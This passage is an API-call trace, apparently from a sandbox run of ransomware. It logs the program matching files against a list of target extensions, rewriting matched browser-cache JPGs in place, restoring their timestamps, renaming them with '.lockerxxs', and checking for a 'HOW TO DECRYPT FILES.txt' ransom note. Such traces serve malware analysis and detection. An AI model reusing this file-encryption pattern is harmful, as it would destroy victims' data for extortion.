(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.qby") returned 0 [0084.274] lstrlenA (lpString="*.qby") returned 5 [0084.274] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.qbj") returned 0 [0084.274] lstrlenA (lpString="*.qbj") returned 5 [0084.274] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.ofx") returned 0 [0084.274] lstrlenA (lpString="*.ofx") returned 5 [0084.274] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.qif") returned 0 [0084.274] lstrlenA (lpString="*.qif") returned 5 [0084.274] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.mye") returned 0 [0084.274] lstrlenA (lpString="*.mye") returned 5 [0084.274] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.mbox") returned 0 [0084.274] lstrlenA (lpString="*.mbox") returned 6 [0084.274] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.eml") returned 0 [0084.274] lstrlenA (lpString="*.eml") returned 5 [0084.274] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.pst") returned 0 [0084.274] lstrlenA (lpString="*.pst") returned 5 [0084.274] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.ost") returned 0 [0084.274] lstrlenA (lpString="*.ost") returned 5 [0084.274] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.idx") returned 0 [0084.274] lstrlenA (lpString="*.idx") returned 5 [0084.275] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.dbx") returned 0 [0084.275] lstrlenA (lpString="*.dbx") returned 5 [0084.275] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.sql") returned 0 [0084.275] lstrlenA (lpString="*.sql") returned 5 [0084.275] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.mdb") returned 0 [0084.275] lstrlenA (lpString="*.mdb") returned 5 [0084.275] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.fdb") returned 0 [0084.275] lstrlenA (lpString="*.fdb") returned 5 [0084.275] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.wab") returned 0 [0084.275] lstrlenA (lpString="*.wab") returned 5 [0084.275] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.dat") returned 0 [0084.275] lstrlenA (lpString="*.dat") returned 5 [0084.275] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.txt") returned 0 [0084.275] lstrlenA (lpString="*.txt") returned 5 [0084.275] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.jpeg") returned 0 [0084.275] lstrlenA (lpString="*.jpeg") returned 6 [0084.275] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.jpg") returned 1 [0084.275] lstrlenA (lpString="*.jpg") returned 5 [0084.275] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg" [0084.275] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg" [0084.275] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg." [0084.276] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg.lockerxxs" [0084.276] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc03b1[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.277] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x89a [0084.277] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x52fa5350, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x52fa5350, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x52fa5350, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.277] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.277] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x874, lpOverlapped=0x0) returned 1 [0084.280] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg") returned="BBC03B1[1].jpg" [0084.280] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.280] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x874, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x874, lpOverlapped=0x0) returned 1 [0084.280] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.280] CloseHandle (hObject=0xa4) returned 1 [0084.280] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc03b1[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc03b1[1].jpg.lockerxxs")) returned 1 [0084.281] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52f0cdd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52f0cdd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52f0cdd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x7bb, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBC06Ub[1].jpg", cAlternateFileName="BBC06U~1.JPG")) returned 1 [0084.282] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.282] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBC06Ub[1].jpg") returned 1 [0084.282] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBC06Ub[1].jpg") returned 1 [0084.282] lstrcmpiA (lpString1="", lpString2="BBC06Ub[1].jpg") returned -1 [0084.282] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg") returned="BBC03B1[1].jpg" [0084.282] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.282] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.282] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.282] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.282] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBC06Ub[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg" [0084.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.ems") returned 0 [0084.282] lstrlenA (lpString="*.ems") returned 5 [0084.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.db") returned 0 [0084.282] lstrlenA (lpString="*.db") returned 4 [0084.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.dbf") returned 0 [0084.282] lstrlenA (lpString="*.dbf") returned 5 [0084.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.myox") returned 0 [0084.282] lstrlenA (lpString="*.myox") returned 6 [0084.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.myo") returned 0 [0084.282] lstrlenA (lpString="*.myo") returned 5 [0084.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.qbw") returned 0 [0084.282] lstrlenA (lpString="*.qbw") returned 5 [0084.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.qbb") returned 0 [0084.282] lstrlenA (lpString="*.qbb") returned 5 [0084.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.qbm") returned 0 [0084.283] lstrlenA (lpString="*.qbm") returned 5 [0084.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.qbo") returned 0 [0084.283] lstrlenA (lpString="*.qbo") returned 5 [0084.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.qbx") returned 0 [0084.283] lstrlenA (lpString="*.qbx") returned 5 [0084.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.qba") returned 0 [0084.283] lstrlenA (lpString="*.qba") returned 5 [0084.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.qby") returned 0 [0084.283] lstrlenA (lpString="*.qby") returned 5 [0084.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.qbj") returned 0 [0084.283] lstrlenA (lpString="*.qbj") returned 5 [0084.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.ofx") returned 0 [0084.283] lstrlenA (lpString="*.ofx") returned 5 [0084.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.qif") returned 0 [0084.283] lstrlenA (lpString="*.qif") returned 5 [0084.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.mye") returned 0 [0084.283] lstrlenA (lpString="*.mye") returned 5 [0084.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.mbox") returned 0 [0084.283] lstrlenA (lpString="*.mbox") returned 6 [0084.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.eml") returned 0 [0084.283] lstrlenA (lpString="*.eml") returned 5 [0084.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.pst") returned 0 [0084.283] lstrlenA (lpString="*.pst") returned 5 [0084.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.ost") returned 0 [0084.283] lstrlenA (lpString="*.ost") returned 5 [0084.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.idx") returned 0 [0084.284] lstrlenA (lpString="*.idx") returned 5 [0084.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.dbx") returned 0 [0084.284] lstrlenA (lpString="*.dbx") returned 5 [0084.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.sql") returned 0 [0084.284] lstrlenA (lpString="*.sql") returned 5 [0084.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.mdb") returned 0 [0084.284] lstrlenA (lpString="*.mdb") returned 5 [0084.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.fdb") returned 0 [0084.284] lstrlenA (lpString="*.fdb") returned 5 [0084.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.wab") returned 0 [0084.284] lstrlenA (lpString="*.wab") returned 5 [0084.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.dat") returned 0 [0084.284] lstrlenA (lpString="*.dat") returned 5 [0084.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.txt") returned 0 [0084.284] lstrlenA (lpString="*.txt") returned 5 [0084.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.jpeg") returned 0 [0084.284] lstrlenA (lpString="*.jpeg") returned 6 [0084.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", pszSpec="*.jpg") returned 1 [0084.284] lstrlenA (lpString="*.jpg") returned 5 [0084.284] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg" [0084.284] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg" [0084.285] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg." [0084.285] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg.lockerxxs" [0084.285] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc06ub[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.285] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7bb [0084.285] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x52f0cdd0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x52f0cdd0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x52f0cdd0, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.285] SetFilePointer 